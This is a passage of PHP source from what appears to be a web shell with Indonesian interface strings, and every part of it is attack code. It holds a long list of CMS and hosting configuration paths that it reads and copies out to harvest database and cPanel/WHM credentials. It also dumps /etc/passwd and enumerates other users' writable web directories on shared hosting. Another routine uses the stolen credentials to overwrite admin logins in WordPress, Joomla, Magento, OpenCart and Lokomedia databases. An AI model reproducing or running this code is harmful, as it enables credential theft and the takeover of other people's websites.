7216 "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
7217 "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
7218 "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
7219 "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
7220 "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
7221 "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
7222 "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
7223 "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
7224 "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
7225 "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
7226 "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
7227 "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
7228 "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
7229 "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
7230 "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
7231 "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
7232 "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
7233 "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
7234 "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
7235 "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
7236 "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
7237 "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
7238 "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
7239 "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
7240 "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
7241 "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
7242 "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
7243 "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
7244 "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
7245 "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
7246 "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
7247 "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
7248 "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
7249 "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
7250 "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
7251 "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
7252 "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
7253 "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
7254 "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
7255 "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
7256 "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
7257 "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
7258 "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
7259 "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
7260 "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
7261 "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
7262 "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
7263 "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
7264 "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
7265 "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
7266 "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
7267 "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
7268 "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
7269 "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
7270 "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
7271 "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
7272 "/home2/$user_cox/.my.cnf" => "cpanel",
7273 "/home2/$user_cox/.accesshash" => "WHM-accesshash",
7274 "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
7275 "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
7276 "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
7277 "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
7278 "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
7279 "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
7280 "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
7281 "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
7282 "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
7283 "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
7284 "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
7285 "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
7286 "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
7287 "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
7288 "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
7289 "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
7290 "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
7291 "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
7292 "/home2/$user_cox/public_html/configuration.php" => "Joomla",
7293 "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
7294 "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
7295 "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
7296 "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
7297 "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
7298 "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
7299 "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
7300 "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
7301 "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
7302 "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
7303 "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
7304 "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
7305 "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
7306 "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
7307 "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
7308 "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
7309 "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
7310 "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
7311 "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
7312 "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
7313 "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
7314 "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
7315 "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
7316 "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
7317 "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
7318 "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
7319 "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
7320 "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
7321 "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
7322 "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
7323 "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
7324 "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
7325 "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
7326 "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
7327 "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
7328 "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
7329 "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
7330 "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
7331 "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
7332 "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
7333 "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
7334 "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
7335 "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
7336 "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
7337 "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
7338 "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
7339 "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
7340 "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
7341 "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
7342 "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
7343 "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
7344 "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
7345 "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
7346 "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
7347 "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
7348 "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
7349 "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
7350 "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
7351 "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
7352 "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
7353 "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
7354 "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
7355 "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
7356 "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
7357 "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
7358 "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
7359 "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
7360 "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
7361 "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
7362 "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
7363 "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
7364 "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
7365 "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
7366 "/home3/$user_cox/.my.cnf" => "cpanel",
7367 "/home3/$user_cox/.accesshash" => "WHM-accesshash",
7368 "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
7369 "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
7370 "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
7371 "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
7372 "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
7373 "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
7374 "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
7375 "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
7376 "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
7377 "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
7378 "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
7379 "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
7380 "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
7381 "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
7382 "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
7383 "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
7384 "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
7385 "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
7386 "/home3/$user_cox/public_html/configuration.php" => "Joomla",
7387 "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
7388 "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
7389 "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
7390 "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
7391 "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
7392 "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
7393 "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
7394 "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
7395 "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
7396 "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
7397 "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
7398 "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
7399 "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
7400 "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
7401 "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
7402 "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
7403 "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
7404 "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
7405 "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
7406 "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
7407 "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
7408 "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
7409 "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
7410 "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
7411 "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
7412 "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
7413 "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
7414 "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
7415 "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
7416 "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
7417 "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
7418 "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
7419 "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
7420 "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
7421 "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
7422 "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
7423 "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
7424 "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
7425 "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
7426 "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
7427 "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
7428 "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
7429 "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
7430 "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
7431 "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
7432 "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
7433 "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
7434 "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
7435 "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
7436 "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
7437 "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
7438 "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
7439 "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
7440 "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
7441 "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
7442 "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
7443 "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
7444 "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
7445 "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
7446 "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
7447 "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
7448 "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
7449 "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
7450
7451
7452 "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
7453 "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
7454 "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
7455 "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
7456 "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
7457 "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
7458 "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
7459 "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
7460 "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
7461 "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
7462 );
7463 foreach($grab_config as $config => $nama_config) {
7464 $ambil_config = file_get_contents($config);
7465 if($ambil_config == '') {
7466 } else {
7467 $file_config = fopen("Kz_config/$user_cox-$nama_config.txt","w");
7468 fputs($file_config,$ambil_config);
7469 }
7470 }
7471 }
7472 }
7473 echo "<center><a href='?dir=$dir/Kz_config'><font color=lime>Done</font></a></center>";
7474 }else{
7475
7476 echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
7477 echo file_get_contents('/etc/passwd');
7478 echo "</textarea><br><input type=\"submit\" value=\"Start\"></td></tr></center>\n";
7479 }
7480} elseif($_GET['do'] == 'jumping') {
7481 $i = 0;
7482 echo "<pre><div class='margin: 5px auto;'>";
7483 $etc = fopen("/etc/passwd", "r");
7484 while($passwd = fgets($etc)) {
7485 if($passwd == '' || !$etc) {
7486 echo "<font color=red>Can't read /etc/passwd</font>";
7487 } else {
7488 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
7489 foreach($user_jumping[1] as $user_idx_jump) {
7490 $user_jumping_dir = "/home/$user_idx_jump/public_html";
7491 if(is_readable($user_jumping_dir)) {
7492 $i++;
7493 $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
7494 if(is_writable($user_jumping_dir)) {
7495 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
7496 }
7497 echo $jrw;
7498 $domain_jump = file_get_contents("/etc/named.conf");
7499 if($domain_jump == '') {
7500 echo " => ( <font color=red>not put domain name</font> )<br>";
7501 } else {
7502 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
7503 foreach($domains_jump[1] as $dj) {
7504 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
7505 $user_jumping_url = $user_jumping_url['name'];
7506 if($user_jumping_url == $user_idx_jump) {
7507 echo " => ( <u>$dj</u> )<br>";
7508 break;
7509 }
7510 }
7511 }
7512 }
7513 }
7514 }
7515 }
7516 if($i == 0) {
7517 } else {
7518 echo "<br>Total Found ".$i." at ".gethostbyname($_SERVER['HTTP_HOST'])."";
7519 }
7520 echo "</div></pre>";
7521} elseif($_GET['do'] == 'auto_edit_user') {
7522 if($_POST['hajar']) {
7523 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
7524 echo "username atau password harus lebih dari 6 karakter";
7525 } else {
7526 $user_baru = $_POST['user_baru'];
7527 $pass_baru = md5($_POST['pass_baru']);
7528 $conf = $_POST['config_dir'];
7529 $scan_conf = scandir($conf);
7530 foreach($scan_conf as $file_conf) {
7531 if(!is_file("$conf/$file_conf")) continue;
7532 $config = file_get_contents("$conf/$file_conf");
7533 if(preg_match("/JConfig|joomla/",$config)) {
7534 $dbhost = ambilkata($config,"host = '","'");
7535 $dbuser = ambilkata($config,"user = '","'");
7536 $dbpass = ambilkata($config,"password = '","'");
7537 $dbname = ambilkata($config,"db = '","'");
7538 $dbprefix = ambilkata($config,"dbprefix = '","'");
7539 $prefix = $dbprefix."users";
7540 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
7541 $db = mysql_select_db($dbname);
7542 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
7543 $result = mysql_fetch_array($q);
7544 $id = $result['id'];
7545 $site = ambilkata($config,"sitename = '","'");
7546 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
7547 echo "Config => ".$file_conf."<br>";
7548 echo "CMS => Joomla<br>";
7549 if($site == '') {
7550 echo "Sitename => <font color=red>error, not put domain name</font><br>";
7551 } else {
7552 echo "Sitename => $site<br>";
7553 }
7554 if(!$update OR !$conn OR !$db) {
7555 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
7556 } else {
7557 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
7558 }
7559 mysql_close($conn);
7560 } elseif(preg_match("/WordPress/",$config)) {
7561 $dbhost = ambilkata($config,"DB_HOST', '","'");
7562 $dbuser = ambilkata($config,"DB_USER', '","'");
7563 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
7564 $dbname = ambilkata($config,"DB_NAME', '","'");
7565 $dbprefix = ambilkata($config,"table_prefix = '","'");
7566 $prefix = $dbprefix."users";
7567 $option = $dbprefix."options";
7568 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
7569 $db = mysql_select_db($dbname);
7570 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
7571 $result = mysql_fetch_array($q);
7572 $id = $result[ID];
7573 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
7574 $result2 = mysql_fetch_array($q2);
7575 $target = $result2[option_value];
7576 if($target == '') {
7577 $url_target = "Login => <font color=red>error, not put domain name</font><br>";
7578 } else {
7579 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
7580 }
7581 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
7582 echo "Config => ".$file_conf."<br>";
7583 echo "CMS => Wordpress<br>";
7584 echo $url_target;
7585 if(!$update OR !$conn OR !$db) {
7586 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
7587 } else {
7588 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
7589 }
7590 mysql_close($conn);
7591 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
7592 $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
7593 $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
7594 $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
7595 $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
7596 $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
7597 $prefix = $dbprefix."admin_user";
7598 $option = $dbprefix."core_config_data";
7599 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
7600 $db = mysql_select_db($dbname);
7601 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
7602 $result = mysql_fetch_array($q);
7603 $id = $result[user_id];
7604 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
7605 $result2 = mysql_fetch_array($q2);
7606 $target = $result2[value];
7607 if($target == '') {
7608 $url_target = "Login => <font color=red>error, not put domain name</font><br>";
7609 } else {
7610 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
7611 }
7612 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
7613 echo "Config => ".$file_conf."<br>";
7614 echo "CMS => Magento<br>";
7615 echo $url_target;
7616 if(!$update OR !$conn OR !$db) {
7617 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
7618 } else {
7619 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
7620 }
7621 mysql_close($conn);
7622 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
7623 $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
7624 $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
7625 $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
7626 $dbname = ambilkata($config,"'DB_DATABASE', '","'");
7627 $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
7628 $prefix = $dbprefix."user";
7629 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
7630 $db = mysql_select_db($dbname);
7631 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
7632 $result = mysql_fetch_array($q);
7633 $id = $result[user_id];
7634 $target = ambilkata($config,"HTTP_SERVER', '","'");
7635 if($target == '') {
7636 $url_target = "Login => <font color=red>error, not put domain name</font><br>";
7637 } else {
7638 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
7639 }
7640 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
7641 echo "Config => ".$file_conf."<br>";
7642 echo "CMS => OpenCart<br>";
7643 echo $url_target;
7644 if(!$update OR !$conn OR !$db) {
7645 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
7646 } else {
7647 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
7648 }
7649 mysql_close($conn);
7650 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
7651 $dbhost = ambilkata($config,'server = "','"');
7652 $dbuser = ambilkata($config,'username = "','"');
7653 $dbpass = ambilkata($config,'password = "','"');
7654 $dbname = ambilkata($config,'database = "','"');
7655 $prefix = "users";
7656 $option = "identitas";
7657 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
7658 $db = mysql_select_db($dbname);
7659 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
7660 $result = mysql_fetch_array($q);
7661 $target = $result[alamat_website];
7662 if($target == '') {
7663 $target2 = $result[url];
7664 $url_target = "Login => <font color=red>error, not put domain name</font><br>";
7665 if($target2 == '') {
7666 $url_target2 = "Login => <font color=red>error, not put domain name</font><br>";
7667 } else {
7668 $cek_login3 = file_get_contents("$target2/adminweb/");
7669 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
7670 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
7671 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
7672 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
7673 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
7674 } else {
7675 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
7676 }
7677 }
7678 } else {
7679 $cek_login = file_get_contents("$target/adminweb/");
7680 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
7681 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
7682 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
7683 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
7684 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
7685 } else {
7686 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
7687 }
7688 }
7689 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
7690 echo "Config => ".$file_conf."<br>";
7691 echo "CMS => Lokomedia<br>";
